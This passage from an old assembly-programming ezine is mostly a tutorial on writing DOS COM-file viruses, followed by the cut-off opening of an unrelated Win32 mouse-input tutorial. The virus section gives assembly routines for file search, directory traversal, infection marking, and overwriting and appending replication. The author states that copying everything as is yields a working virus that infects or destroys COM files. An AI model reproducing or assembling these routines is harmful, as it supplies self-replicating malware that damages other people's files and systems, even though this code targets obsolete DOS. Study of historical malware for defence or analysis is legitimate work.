direct action) COM infectors. This will cover most simple search and
replication methods used and is only to be considered as an introduction to
virus writing. After some thought I've decided not to include any full source
code for a working virus, since anyone with half a brain and a somewhat
mediocre knowledge of assembly can easily build a virus out of the pieces of
code that will be presented. Furthermore it's not my wish to increase the
number of viruses in the wild, thing that would undoubtedly happen by the hands
of some I-have-no-brain-and-can't-program-hellspawn bent on random destruction.
Anyway, on with the article...
Some Sort Of 'Programming Virii Safely' Guide
---------------------------------------------
The only really safe way to program viruses is to know what you're doing and
understand at every time how the virus is behaving. If you test a virus on your
own machine without fully comprehending its ins and outs, then you will most
likely have your system trashed. It would be best if you had a second computer
just for this purpose, since a buggy programming can lead to a lot of crashes
and general havoc. If not, a Ramdrive can be created and a Subst can be done,
so that all accesses to physical drives are redirected to the virtual one.
Assuming that you want your Ramdrive to have 512-byte sectors, a limit of 1024
entries and to allocate 2048K of extended memory, you must add this line to your
CONFIG.SYS:
DEVICE=C:\DOS\RAMDRIVE.SYS 2048 512 1024 /E
Then you must copy COMMAND.COM and SUBST.EXE to the Ramdrive so that DOS won't
hang and also in order for you to be able to delete all redirections when done.
And to associate all physical drives to the newly created virtual drive (and
assuming that it is D: and all your drives are A: and C:) you should do:
SUBST A: D:\
SUBST C: D:\
Of course this last method isn't perfect. You should always know how to
completely remove a virus before running it, or you'll end cleaning up the mess
for quite some time.
Just use common sense. For example, if you're writing a virus aimed at a
specific file type, all you have to do is copy all files of that type you do
not wish to be infected to a different extension and when you're done testing
just switch those files back to their original extension. While testing you
should also place breakpoints and warning messages throughout the code, so
that you know at all times what the virus is doing as well as it will help you
debugging it. Also you should program and test different routines separately as
it will reduce complexity and bug proneness. Lastly the use of memory and disk
mapping/editing utilities, a set of good anti-virus and most important the use
of backups is encouraged, so that you can keep track of things and are able to
restore your system in case something goes wrong.
In case things get really out of hand you should always have a clean "rescue
disk" which you should create by doing a FORMAT A: /S /U and then copying into
it some useful DOS files like FORMAT.COM, UNFORMAT.COM, FDISK.EXE, SYS.COM,
MEM.EXE, ATTRIB.EXE, DEBUG.EXE, CHKDSK.EXE, SUBST.EXE, a text editor just in
case and whichever other files you may find useful. Also an anti-virus should
be included along. Don't forget to write protect the disk and put it in a safe
place. The first thing you should do in order to clean up your system is to
boot from your previously created disk and use your anti-virus clean and
restoration features, as most times this will work, saving you a lot of hassle.
In last resort, you should run FDISK /MBR to re-write the executable code and
error messages of the partition sector, then run FDISK and first delete, then
create a new partion table and finally run FORMAT C: /S /U. Your system should
now be completely clean and you can restore your backups at this time. If all
you want is to clean a floppy disk instead of a hard disk, then all you have to
do is run FORMAT A: /S /U to create a new boot sector, FAT and root directory.
Of course that after this procedures all data will be lost, so as I said before
this should only be used if you're really desperate.
Above all, don't forget to backup, backup, backup!
Tools & References
------------------
In order to write and test a sucessful virus you need some useful programs and
references, such as:
- An assembler (TASM, MASM, Intel's ASM86, A86, NASM, ...) - I recommend using
Turbo Assembler, as all code I will provide will be tested with it.
- A linker (TLINK, LINK, Intel's LINK86...) - Again I recommend Turbo Linker.
- A debugger (Dos' DEBUG, TD, ...) - Dos' DEBUG is old but will do the job, you
can use Turbo Debugger though, as it is somewhat better.
- A text and a hex editor of your choice.
- A disassembler (DEBUG, Sourcer, IDA, ...) - You can use Dos' DEBUG, but would
be better if you used Sourcer which is very good or IDA which is excellent
but very large in size.
- Some other things like TSR Utilities by TurboPower Software, Norton Utilities
and more.
- A good set of Anti-Virus packages, such as ThunderBYTE Anti-Virus (as a great
set of utilities to backup your bootsector, partition table and CMOS), AVP
(AntiViral Toolkit Pro) and F-PROT. Also available are McAfee (now Network
Associates, I think) VirusScan, Dr.Solomon's AVTK and Norton Anti-Virus.
- Ralph Brown's x86/MSDOS Interrupt List, Norton Guides' Assembly Language
database, David Jurgens' HelpPC, DOSREF (Programmers' Technical Reference for
MSDOS and the IBM PC) and others you find useful.
On Viruses
----------
There are two things that must always be present on every working virus, first
the search routine that seeks for suitable targets for the virus to infect and
lastly the replication routine that copies the virus to the found target. Other
routines may also be added in order to enhance the virus and the two more basic
and essencial parts can be improved, increasing its performance, albeit its
complexity too.
I intentionally left out a major routine, the payload (aka activation routine),
though not necessary, it is present in almost all viruses. Sincerely I see no
real use for most activation routines, since all they do is seriously cripple
the virus's chance to spread. Besides, all good payloads must be custom made (as
should all viruses, but that's another story...), so you'll have to build your
own if you want one. For some old good examples of non-destructive payloads
take a look at Ambulance Car, Cascade, Den Zuk, Corporate Life and Crucifixion.
All code presented hereafter was first tested on both of my machines and works,
but this doesn't mean that it will work on all possible configurations, so I
can't fully guarantee that it won't ever cause unwanted damage. It's bad enough
that your virus may unwillingly trash someone's data, so don't go writing
destructive payloads just for the hell of it. Programming - and therefore virus
writing - is an art, treat it as such.
A Word On Error Trapping
------------------------
Error trapping is regrettably one of the most forgotten things in viruses. You
should always account for errors in order not to crash and even trash things.
This doesn't mean that you should present cute DOS-like error messages, as this
would alert the user, instead you should process the information and act
accordingly. That most times just means that you should abort the virus ongoing
operations and restore control back to the host.
Optimization
------------
All code will be presented in an unoptimized form for ease of understanding and
also because all routines are shown seperate from each other so that they are
portable to different kinds of viruses. When writing a full virus you should
always optimize your code, so that it takes as little space as possible. Don't
use procedures unless you can save space by doing so. Also don't use variables
when you can use registers (for example the F_Handle variable needs not be used
since you could just use the stack or some free register - see below).
Delta Offset
------------
When you're programming a virus that will always be placed at a fixed location,
like overwriting and prepending viruses, you won't have to worry about any of
this, but if you're writing a virus that relocates part of its code to a random
location, such as appending and midfile infectors, you'll have to account for
the displacement. This doesn't affect most jumps and calls, since they are
relative, but data on the other hand is refered by an absolute offset. Things
would work fine the first time you assembled and run the virus, but not after
the first infection when all memory addresses would then be changed.
To account for this all one has to do is:
--8<---------------------------------------------------------------------------
Delta_Offset:
call Find_Displacement
Find_Displacement:
pop bp
sub bp, offset Find_Displacement
---------------------------------------------------------------------------8<--
What this piece of code does is, first issue a CALL to the next instruction, so
the IP (Instruction Pointer) for it will pushed into the stack, next we POP it
to the register BP (it is good programming to use BP, which stands for Base
Pointer), and finally we SUBtract the original OFFSET determined when the virus
was compiled. Of course the first time the virus is run, the displacement will
be zero, only on subsequent runs will it change according to the host size.
I'll be presenting code for infectors that require delta offset calculation, so
for all the other infectors that don't, in order to accommodate any of the code
presented hereafter you'll just have to strip out any displacement calculations
as in the following examples:
Replace
lea dx, [bp+offset DTA]
With
lea dx, DTA
Replace
mov word ptr [bp+F_Handle], ax
With
mov F_Handle, ax
Once you've given it a little thought and figured it out it's not as hard as it
may first seem. Of course that even if you're programming a fixed location
virus you can still leave all code as if you were writing one that needed you
to calculate the delta offset, since the displacement is always zero.
Nevertheless you shouldn't do this, mainly because it adds unnecessary size to
the virus and it is extremely sloppy (and lazy) programming (copying?!?!).
.COM File Structure
-------------------
COM files are raw binary executables, designed for compatibility with the old
CP/M operating system. Whenever a COM file is executed, DOS first sets aside a
segment (64K) of memory for it, then builds a PSP (Program Segment Prefix) in
the first 256 bytes, after which the program is loaded into. Before passing
control to the program DOS does some things first, among which are:
1) Register AX reflects the validity of drive specifiers entered with the
first two parameters as follows:
AL=0FFh if the first parameter contained an invalid drive specifier,
otherwise AL=00h
AL=0FFh if the second parameter contained an invalid drive specifier,
otherwise AL=00h
2) All four segment registers contain the segment address of the PSP control
block
3) The Instruction Pointer (IP) is set to 100h
4) The SP register is set to the end of the program's segment and a word of
zeroes is placed on top of the stack
In case any of this things are changed during the virus execution, you
shouldn't forget to restore them before passing control back to the host.
So, given this, a COM file program can only have a maximum size of 65277 bytes,
since you have to account for the PSP and at least for the two bytes occupied
by the stack. Here is how a COM file looks when loaded in memory:
FFFFh +--------------------+ <- SP
| |
| Stack |
| |
+--------------------+
| |
| Uninitialized Data |
| |
+--------------------+
| |
| COM File Image |
| |
100h +--------------------+ <- IP
| |
| PSP |
| |
0h +--------------------+ <- CS, DS, ES, SS
Don't forget to account for stack growth needed by your program as well as any
uninitalized data, for if you don't there is a chance that it will crash, since
the stack may grow large enough to overwrite data or code, or your data may
wrap around and overwrite the PSP and the code.
Program Segment Prefix (PSP)
----------------------------
A PSP is created by DOS for all programs and contains most of the information
one needs to know about them. Its structure looks like this:
[ PSP - Program Segment Prefix ]
Offset Size Description
------ ---- -----------
0h Word INT 20h instruction
2h Word Segment address of top of the current program's
allocated memory
4h Byte Reserved
5h Byte Far call to DOS function dispatcher (INT 21h)
6h Word Available bytes in the segment for .COM files
8h Word Reserved
Ah Dword INT 22h termination address
Eh Dword INT 23h Ctrl-Break handler address
12h Dword DOS 1.1+ INT 24h critical error handler address
16h Byte Segment of parent PSP
18h 20 Bytes DOS 2+ Job File Table (one byte per file handle
FFh = available/closed)
2Ch Word DOS 2+ segment address of process' environment
block
2Eh Dword DOS 2+ process' SS:SP on entry to last INT 21h
function call
32h Word DOS 3+ number of entries in JFT
34h Dword DOS 3+ pointer to JFT
38h Dword DOS 3+ pointer to previous PSP
3Ch 20 Bytes Reserved
50h 3 Bytes DOS 2+ INT 21h/RETF instructions
53h 9 Bytes Unused
5Ch 16 Bytes Default unopened File Control Block 1 (FCB1)
6Ch 16 Bytes Default unopened File Control Block 2 (FCB2)
7Ch 4 Bytes Unused
80h Byte Command line length in bytes
81h 127 Bytes Command line (ends with a Carriage Return 0Dh)
Note: For a more detailed explanation of the PSP structure, including many
undocumented features, see Ralph Brown's x86/MSDOS Interrupt List.
And here are the default file handles for the Job File Table (JFT):
[ DOS Default/Predefined File Handles]
0 - Standard Input Device, can be redirected (STDIN)
1 - Standard Output Device, can be redirected (STDOUT)
2 - Standard Error Device, can be redirected (STDERR)
3 - Standard Auxiliary Device (STDAUX)
4 - Standard Printer Device (STDPRN)
The File Control Block (FCB) and the Environment Block structures will be
covered on a later article, as they aren't needed for now.
Disk Transfer Area (DTA)
------------------------
For all file reads and writes performed using FCB function calls, as well as
for "Find First" and "Find Next" calls using FCBs or not, DOS uses a memory
buffer called Disk Transfer Area, which is by default located at offset 80h in
the PSP and is 128 bytes long (this area is also used by the command tail), so
in order not to interfere with whichever command line parameters there might
be, the Disk Transfer Address should be set to a different location in memory.
This is done like this:
--8<---------------------------------------------------------------------------
Set_DTA:
mov ah, 1Ah
lea dx, [bp+offset DTA]
int 21h
---------------------------------------------------------------------------8<--
;Interrupt: 21h
;Function: 1Ah - Set Disk Transfer Address (DTA)
;On entry: AH - 1Ah
; DS:DX - Address of DTA
;Returns: Nothing
Of course that before passing control back to the host you should restore the
Disk Transfer Address back to its original value:
--8<---------------------------------------------------------------------------
Restore_DTA:
mov ah, 1Ah
mov dx, 80h
int 21h
---------------------------------------------------------------------------8<--
A sufficient buffer area should always be reserved, as DOS will detect and
abort any disk transfers that would fall off the end of the current segment or
wrap around within the segment.
FindFirst Data Block
--------------------
Upon a successful "Find First Matching File" function call the Disk Transfer
Area is filled with a FindFirst Data Block which contains info on the matching
file found, also after a "Find Next Matching File" function call that data is
updated. As we'll only be using the DTA for this, all we need to when setting a
new one is to have a 43 bytes long buffer so that we can allocate the FindFirst
Data
Block:
--8<---------------------------------------------------------------------------
DTA:
Reserv db 21 dup (?)
F_Attr db (?)
F_Time dw (?)
F_Date dw (?)
F_Size dd (?)
F_Name db 13 dup (?)
---------------------------------------------------------------------------8<--
And here is the FindFirst Data Block structure:
[ FindFirst Data Block ]
Offset Size Description
------ ---- -----------
0h 21 Bytes Reserved for DOS use on subsequent Find Next
calls - is different per DOS version
15h Byte Attribute of matching file
16h Word File time stamp
18h Word File date stamp
1Ah Dword File size in bytes
1Eh 13 Bytes ASCIIZ filename and extension
The file attribute field looks like this:
[File Attribute]
Bit(s) Description
------ -----------
7 6 5 4 3 2 1 0
. . . . . . . 1 Read-only
. . . . . . 1 . Hidden
. . . . . 1 . . System
. . . . 1 . . . Volume label
. . . 1 . . . . Directory
. . 1 . . . . . Archive
x x . . . . . . Unused
The file time field is like this:
[File Time]
Bit(s) Description
------ -----------
F E D C B A 9 8 7 6 5 4 3 2 1 0
. . . . . . . . . . . x x x x x Seconds/2 (0..29) - 2 second increments
. . . . . x x x x x x . . . . . Minutes (0..59)
x x x x x . . . . . . . . . . . Hours (0..23)
And finally the file date field like this:
[File Date]
Bit(s) Description
------ -----------
F E D C B A 9 8 7 6 5 4 3 2 1 0
. . . . . . . . . . . x x x x x Day (1..31)
. . . . . . . x x x x . . . . . Month (1..12)
x x x x x x x . . . . . . . . . Year since 1980 (0..119)
Current Directory Preservation
------------------------------
If you're searching for files outside the directory where your virus was run
from, you must save the old directory and restore it when you're done. First to
save it you must do:
--8<---------------------------------------------------------------------------
Get_Directory:
mov ah, 47h
mov dl, 0
lea si, [bp+offset Orig_Dir]
int 21h
jnc Find_First
jmp Return_Control
---------------------------------------------------------------------------8<--
;Interrupt: 21h
;Function: 47h - Get Current Directory
;On entry: AH - 47h
; DL - Drive number (0=default, 1=A, etc.)
; DS:SI - Pointer to a 64-byte buffer
;Returns: AX - Error code, if CF is set
;Error codes: 15 - Invalid drive specified
;Notes: This function returns the full pathname of the current directory,
; excluding the drive designator and initial backslash character, as an
; ASCIIZ string at the memory buffer pointed to by DS:SI.
A 64 byte long buffer must be present to hold the original directory:
--8<---------------------------------------------------------------------------
Orig_Dir db 64 dup (?)
---------------------------------------------------------------------------8<--
Then before actually restoring to the old directory, you must first change to
the root directory and then restore from there, since all paths are relative to
it.
--8<---------------------------------------------------------------------------
ChangeTo_Root:
mov ah, 3Bh
lea dx, [bp+offset Root]
int 21h
jc Restore_DTA
---------------------------------------------------------------------------8<--
;Interrupt: 21h
;Function: 3Bh - Change Directory (CHDIR)
;On entry: AH - 3Bh
; DS:DX - Pointer to name of new default directory (ASCIIZ
; string)
;Returns: AX - Error code, if CF is set
;Error Codes: 3 - Path not found
;Notes: This function changes the current directory to the directory whose path
; is specified in the ASCIIZ string at address DS:DX; the string length
; is limited to 64 characters. The path name may include a drive letter.
A buffer containing a ASCIIZ string representing the root:
--8<---------------------------------------------------------------------------
Root db '\', 0
---------------------------------------------------------------------------8<--
And finally you switch to the original directory (if the original directory is
the root there will be an error since the path won't be valid - this doesn't
matter since we changed to root before):
--8<---------------------------------------------------------------------------
Restore_Directory:
mov ah, 3Bh
lea dx, [bp+offset Orig_Dir]
int 21h
;jc Restore_DTA ;No need, since it's right after
---------------------------------------------------------------------------8<--
If you change drives while searching for files to infect (this will be covered
in a next article) you should also preserve the original drive and then restore
it in the end.
File Search Techniques
----------------------
A runtime virus can infect files located in the current directory, in
subdirectories, maybe only in root, in the PATH and even on different drives.
You must be very careful when writing your search routine, since if you only
infect files in a few places your virus won't spread much, but if you search
for files to infect in every possible place, after the first infections it will
start to take much longer to find new hosts (since most are already infected)
and disk activity might last for long enough to be noticeable. Some of this
techniques are presented below. The others will be presented on a next article.
Find First/Find Next
--------------------
This is used when you want to search for files on a the current directory. You
start by searching for the first matching COM file with normal attributes:
--8<---------------------------------------------------------------------------
Find_First:
mov ah, 4Eh
mov cx, 0
lea dx, [bp+offset COM_Mask]
int 21h
jnc Open_File
jmp Return_Control
---------------------------------------------------------------------------8<--
;Interrupt: 21h
;Function: 4Eh - Find First Matching File (FIND FIRST)
;On entry: AH - 4Eh
; CX - File attribute
; DS:DX - Pointer to filespec (ASCIIZ string)
;Returns: AX - Error code, if CF is set
;Error codes: 2 - File not found
; 3 - Path not found
; 18 - No more files to be found
;Notes: If CX is 0, the function searches for normal files only. If CX
; specifies any combination of the hidden, system, or directory attribute
; bits, the search matches normal files and also any files with those
; attributes. If CX specifies the volume label attribute, the function
; looks only for entries with the volume label attribute. The archive and
; read-only attribute bits have no effect on the search operation.
A buffer holding the filespec must be present:
--8<---------------------------------------------------------------------------
COM_Mask db "*.COM", 0
---------------------------------------------------------------------------8<--
Then if you're not done infecting or if the file didn't pass your infection
criteria you can look for some more files matching the same specifications:
--8<---------------------------------------------------------------------------
Find_Next:
mov ah, 4Fh
int 21h
jc Return_Control ;Replace with 'jc ChangeTo_Parent' if
; using the "dot dot" method
jmp Open_File
---------------------------------------------------------------------------8<--
;Interrupt: 21h
;Function: 4Fh - Find Next Matching File (FIND NEXT)
;On entry: AH - 4Fh
;Returns: AX - Error code, if CF is set
;Error codes: 18 - No more files to be found
"Dot Dot"
---------
If you wish to infect files on different directories one curious and very easy
way of doing so is using the "dot dot" method which jumps to the parent
directory until your virus is satisfied or until it reaches the root:
--8<---------------------------------------------------------------------------
ChangeTo_Parent:
mov ah, 3Bh
lea dx, [bp+offset Parent_Dir]
int 21h
jc Return_Control
jmp Find_First
---------------------------------------------------------------------------8<--
A buffer representing the parent directory in ASCIIZ string format must exist:
--8<---------------------------------------------------------------------------
Parent_Dir db "..", 0
---------------------------------------------------------------------------8<--
Infection Criteria
------------------
Since a COM file is always less than 65536 bytes it's easy to compare its size
against our criteria. Don't forget that you must account for the virus size,
the stack, the PSP (just in case) and any uninitialized data:
--8<---------------------------------------------------------------------------
Check_Size:
cmp word ptr [bp+F_Size+2], 0
je Check_PlusVirus
jmp Close_File
Check_PlusVirus:
mov ax, word ptr [bp+F_Size]
add ax, offset Virus_End - offset Virus_Start + 4 + 256 + 109
jnc PointTo_Begin
jmp Close_File
---------------------------------------------------------------------------8<--
Other criterias will be covered on later articles.
Opening/Closing the Host
------------------------
For now we will not worry about read-only files, so we will open the file in
read/write mode as this will fail on read-only files:
--8<---------------------------------------------------------------------------
Open_File:
mov ah, 3Dh
mov al, 00000010B
lea dx, [bp+offset F_Name] ;Replace with 'mov dx, 9Eh' for the
; overwriting virus since the file name
; in the DTA is in the PSP (80h+1Eh)
int 21h
jnc Save_Handle
jmp Find_Next
Save_Handle:
mov word ptr [bp+F_Handle], ax
---------------------------------------------------------------------------8<--
;Interrupt: 21h
;Function: 3Dh - Open a File
;On entry: AH - 3Dh
; AL - Open mode
; DS:DX - Pointer to filename (ASCIIZ string)
;Returns: AX - File handle
; Error code, if CF is set
;Error codes: 1 - Function number invalid
; 2 - File not found
; 3 - Path not found
; 4 - No handle available
; 5 - Access denied
; 12 - Open mode invalid
;Notes: The function opens any existing file, including hidden files, and sets
; the record size to 1 byte.
And here is the format of the open mode byte:
[Open Mode]
Bit(s) Open Mode Description
------ --------- -----------
7 6 5 4 3 2 1 0
. . . . . x x x Access mode Read/Write access
. . . . x . . . Reserved Must always be zero
. x x x . . . . Sharing mode Must be 0 in DOS 2.x
x . . . . . . . Inheritance flag Must be 0 in DOS 2.x
[Access Mode]
Bit(s) Access Mode
--- -----------
2 1 0
0 0 0 Read-only access
0 0 1 Write-only access
0 1 0 Read/write access
[Sharing Mode]
Bit(s) Sharing Mode
--- ------------
6 5 4
0 0 0 Compatibility mode
0 0 1 Deny Read/Write mode (Exclusive mode)
0 1 0 Deny Write mode
0 1 1 Deny Read mode
1 0 0 Deny None mode
[Inheritance Flag]
Bit Inheritance Flag
--- ----------------
7
0 File is inherited by child processes
1 File is not inherited
There should be a buffer for the file handle:
--8<---------------------------------------------------------------------------
F_Handle dw (?)
---------------------------------------------------------------------------8<--
And when you're done with the file you close it:
--8<---------------------------------------------------------------------------
Close_File:
mov ah, 3Eh
mov bx, word ptr [bp+F_Handle]
int 21h
jnz Return_Control ;Because of the <Copy_Body> routine
jnc Find_Next
jmp Return_Control
---------------------------------------------------------------------------8<--
;Interrupt: 21h
;Function: 3Eh - Close a File Handle
;On Entry: AH - 3Eh
; BX - File handle
;Returns: AX - Error code, if CF is set
;Error codes: 6 - Invalid handle
;Notes: This function flushes the file's buffers, closes the file, releases the
; handle, and updates the directory.
Self-Recognition
----------------
This is very important, since if you don't check for prior infection you might
end up making the host grow beyond the maximum permitted size. There are a
number of ways of doing this, you can check for some sort of marker, a time
stamp can be placed on the host and others. Only the marker method will be
covered in this article.
Marker Byte
-----------
The marker byte is located at the beginning of the file and is preceded by a
jump to the real start of the virus (it has to be coded "manually" since it
doesn't assemble correctly):
--8<---------------------------------------------------------------------------
Host:
db 0E9h, 2, 0 ;This is a near jump to Virus_Start,
; which is supposed to be right after
; the ID marker
db 'ID'
---------------------------------------------------------------------------8<--
To read the first five bytes of an open file this is what you do:
--8<---------------------------------------------------------------------------
Read_Five:
mov ah, 3Fh
mov bx, word ptr [bp+F_handle]
mov cx, 5
lea dx, [bp+offset IDMark]
int 21h
jnc And_Also
jmp Close_File
And_Also:
cmp cx, ax
jz Check_IDMark
jmp Close_File
---------------------------------------------------------------------------8<--
;Interrupt: 21h
;Function: 3Fh - Read from File or Device, Using a Handle
;On entry: AH - 3Fh
; BX - File handle
; CX - Number of bytes to read
; DS:DX - Address of buffer
;Returns: AX - Number of bytes read, or
; Error code, if CF is set
;Error codes: 5 - Access denied
; 6 - Invalid handle
;Network: Requires Read access rights
;Notes: Data is read starting at the location pointed to by the file pointer.
; The file pointer is incremented by the number of bytes read. If the
; Carry Flag is not set and AX = 0, the file pointer was at the end of
; the file when the function was called. If the Carry Flag is not set
; and AX is less than the number of bytes requested, either the function
; read to the end of the file, or an error occurred.
A 5 bytes long buffer must exist (this will hold a dummy host the first time it
is run - all it does is exit to DOS):
--8<---------------------------------------------------------------------------
IDMark db 0CDh, 20h, 90h, 90h, 90h
---------------------------------------------------------------------------8<--
And to see if a valid ID marker exists in the five bytes read:
--8<---------------------------------------------------------------------------
Check_IDMark:
cmp word ptr [bp+IDMark+3], 'DI'
jnz Check_Size
jmp Close_File
---------------------------------------------------------------------------8<--
Parasitic Replication Methods
-----------------------------
Only two examples of parasitic viruses will be covered, first the overwriting
which doesn't need any displacement calculations and after the appending virus
that needs those calculations. Other types of parasitic viruses such as midfile
infectors, prepending viruses as non-parasitic ones such as companion (aka
spawning) viruses will be covered on future articles.
An Overwriting Virus
--------------------
As its name says, this type of virus overwrites part of its host, making it
unnable to execute as it is destroyed beyond repair. And here is how it works
(credit goes to Dark Angel for this nifty drawing):
+---------------+ +-------+ +---------------+
| P R O G R A M | + | VIRUS | = | VIRUS | R A M |
+---------------+ +-------+ +---------------+
We won't really care about reinfection with this type of virus, since there is
no more file growth and also because this virus is easily noticed. An outline
for a overwriting virus looks like this:
1. <Find_First> file
2. <Open_File> in read/write mode
3. <Copy_Body> of virus over the host
4. <Close_File> handle
5. <Find_Next> file
(a) If another file found then goto step 2
6. <Return_Control> back to DOS
Here is the copy routine for the overwriting virus (don't forget to strip out
the displacement calculations for this type of viruses):
--8<---------------------------------------------------------------------------
Copy_Body:
mov ah, 40h
mov bx, word ptr [bp+F_Handle]
mov cx, Virus_End - Virus_Start
lea dx, [bp+offset Virus_Start]
int 21h
;jc Close_File ;No need since it's right after
cmp cx, ax
;jnz Return_Control ;Place this after the <Close_File>
; routine, since you shouldn't leave
; unclosed file handles
---------------------------------------------------------------------------8<--
;Interrupt: 21h
;Function: 40h - Write to File or Device, Using a Handle
;On entry: AH - 40h
; BX - File handle
; CX - Number of bytes to write
; DS:DX - Address of buffer
;Returns: AX - Number of bytes written, or
; Error code, if CF is set
;Error codes: 5 - Access denied
; 6 - Invalid handle
;Network: Requires Write access rights
;Notes: Data is written starting at the current file pointer. The file pointer
; is then incremented by the number of bytes written. If a disk full
; condition is encountered, no error code will be returned (i.e., CF will
; not be set); however, fewer bytes than requested will have been
; written. You should check for this condition by testing for AX less
; than CX after returning from the function.
WARNING: This virus will infect and partially or totally destroy all COM files
in the current directory!
Exiting To DOS
--------------
In an overwriting virus you need not pass control back to the host, since it is
partially (or totally) destroyed, so all the virus needs to do is exit to DOS.
This can be done in any of this ways:
--8<---------------------------------------------------------------------------
Return_Control:
mov ah, 4Ch
mov al, 00h
int 21h
;mov ah, 00h ;Here is another way
;int 21h
;int 20h ;And another
;ret ;Yet another way
---------------------------------------------------------------------------8<--
;Interrupt: 21h
;Function: 4Ch - Terminate a Process (EXIT)
;On entry: AH - 4Ch
; AL - Return code
;Returns: Nothing
;Notes: This function is the proper method of terminating a program in DOS
; versions 2.0 and above. It closes all files, and hands control back to
; the parent process (usually COMMAND.COM), along with the return code
; specified in AL.
;Interrupt: 21h
;Function: 00h - Terminate Program
;On entry: AH - 00h
; CS - Segment address of PSP
;Returns: Nothing
;Notes: DOS terminates the program, flushes the file buffers, and restores the
; terminate, Ctrl-Break, and critical error exit addresses from the PSP.
; Close all files first.
;INT 20h - Terminate Program
;On entry: CS - Segment address of PSP
;Returns: Nothing
;Notes: Is equivalent to Interrupt 21h, Function 00h.
An Appending Virus
------------------
The appending virus works by placing its code at the end of the host, then
copying the first bytes to a safe location and adding a jump to its code at the
beginning so that it takes control before the host does. Unlike overwriting
viruses, no part of the host is permanently destroyed, so it will be much
harder to notice an infection. It looks like this:
+-----------------------------+---------+-------+--------------------------+
| JMP to Virus_Start + IDMark | PROGRAM | Virus | First 5 bytes of PROGRAM |
+-----------------------------+---------+-------+--------------------------+
We will worry about reinfection on this one, directory preservation and some
other things. And here is an outline:
1. <Host> (jumps to start of virus)
2. Calculate the <Delta_Offset>
3. <Save_AX> register
4. <Restore_Host>'s 5 original beginning bytes
5. <Set_DTA> to a new address
6. <Get_Directory> (the current one)
7. <Find_First> file
8. <Open_File> in read/write mode
9. <Read_Five> bytes from beginning of file
10. <Check_IDMark> for previous infection
11. <Check_Size> of intended host
12. <PointTo_Begin> of file
13. <Calc_Jump> to main virus body
14. <Write_Jump> to host
15. <PointTo_End> of file
16. <Copy_Body> of virus and the 5 bytes from the beginning of the file
17. <Close_File> handle
18. <Find_Next> file
(a) If another file found then goto step 8
19. <ChangeTo_Parent> directory
(a) If not already in root then goto step 7
20. <Return_Control> (for the appending virus this is just a label)
21. <ChangeTo_Root> directory
22. <Restore_Directory> to original one
23. <Restore_DTA> to PSP:0080h
24. <Restore_AX> register
25. <ReturnTo_Host> back to the host
Here is how to restore the host's original 5 bytes:
--8<---------------------------------------------------------------------------
Restore_Host:
mov cx, 5
lea si, [bp+offset IDMark]
mov di, 100h
rep movsb
---------------------------------------------------------------------------8<--
To move the file pointer to be beginning of the file:
--8<---------------------------------------------------------------------------
PointTo_Begin:
mov ah, 42h
mov al, 0
mov bx, word ptr [bp+F_Handle]
mov cx, 0
mov dx, 0
int 21h
jnc Calc_Jump
jmp Close_File
---------------------------------------------------------------------------8<--
;Interrupt: 21h
;Function: 42h - Move File Pointer (LSEEK)
;On entry: AH - 42h
; BX - File handle
; CX:DX - Offset, in bytes (signed 32-bit integer)
; AL - Mode code (see below)
;Mode Code: AL - Action
; 0 - Move pointer CX:DX bytes from beginning of file
; 1 - Move pointer CX:DX bytes from current location
; 2 - Move pointer CX:DX bytes from end of file
;Returns: DX:AX - New pointer location (signed 32-bit integer),
; or AX - Error code, if CF is set
;Error codes: 1 - Invalid mode code
; 6 - Invalid handle
And the calculate the new jump according to the host size:
--8<---------------------------------------------------------------------------
Calc_Jump:
mov ax, word ptr [bp+F_Size]
sub ax, 3
mov word ptr [bp+Jump+1], ax
---------------------------------------------------------------------------8<--
Of course a buffer holding the jump instruction and the marker must exist:
--8<---------------------------------------------------------------------------
Jump db 0E9h, 2, 0, 'ID'
---------------------------------------------------------------------------8<--
Then you write to the host the calculated jump to the start of your virus:
--8<---------------------------------------------------------------------------
Write_Jump:
mov ah, 40h
mov cx, 5
lea dx, [bp+offset Jump]
int 21h
jnc In_Between
jmp Close_File
In_Between:
cmp cx, ax
jz PointTo_End
jmp Close_File
---------------------------------------------------------------------------8<--
After you move the file pointer to the end of the file:
--8<---------------------------------------------------------------------------
PointTo_End:
mov ah, 42h
mov al, 2
mov bx, word ptr [bp+F_Handle]
mov cx, 0
mov dx, 0
int 21h
jnc Copy_Body
jmp Close_File
---------------------------------------------------------------------------8<--
And to append the virus to it all you need to do is use the routine presented
for the overwriting virus.
Also don't forget to first save and then restore the AX register since we'll be
using it in the virus (this will avoid programs like HotDIR from failing to
run):
--8<---------------------------------------------------------------------------
Save_AX:
push ax
---------------------------------------------------------------------------8<--
To restore it:
--8<---------------------------------------------------------------------------
Restore_AX:
pop ax
---------------------------------------------------------------------------8<--
WARNING: Be careful with this virus since it will infect almost every 'clean'
COM file in the current directory and all parent directories up to the
root!
Passing Control Back To The Host
--------------------------------
To restore control back to the host all you need to do is set the IP to 100h:
--8<---------------------------------------------------------------------------
ReturnTo_Host:
push 100h
ret
;mov di, 100h ; Another way of accomplishing the same
;jmp di
---------------------------------------------------------------------------8<--
Miscellaneous
-------------
Don't forget to place a 'Virus_Start:' label at the start of the viral code
(for the appending virus that is right after the ID byte and right before the
delta offset calculation routine; for the overwriting virus it's right at the
start of the code, since there's no need for a dummy host) and a 'Virus_End:'
label at the end of the viral code, right after the initialized data and before
the uninitialized one. Here's out it's supposed to look like:
Host: ;This part for the appending virus only
[Jump to virus code] ;" " "
[IDByte] ;" " "
Virus_Start:
[Virus code]
...
[Data that needs to be copyed with the code]
Virus_End:
[Uninitialized data that needs not be copyed]
Change the control flow instructions according to your virus needs. Anyway if
you copy everything as is, you'll end up with a working virus.
.BIN File Structure
-------------------
BIN files are exactly like COM files, they only have a different extension and
so must be renamed to be run by DOS. If you want you can for example set your
viruses to infect BIN files if no COM ones are found in the current directory.
These type of files are normally created by the EXE2BIN program.
In Closing
----------
Well with this knowledge you can now start writing your own viruses. In future
articles I'll explain some more search and replication routines among some
other things. If there are any next articles that is!
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::................................WIN32.ASSEMBLY.PROGRAMMING
Mouse Input
by Iczelion
We will learn how to receive and respond to mouse input in our window
procedure. The example program will wait for left mouse clicks and display
a text string at the exact clicked spot in the client area.
Preliminary:
As with keyboard input, Windows detects and sends notifications about relevant
mouse activities to each window. These activities include left and right clicks,
mouse cursor movements over window, double clicks. Unlike keyboard input which
is directed to the window that has input focus, mouse messages are sent to any
window that the mouse cursor is over, active or not. In addition, there are mouse
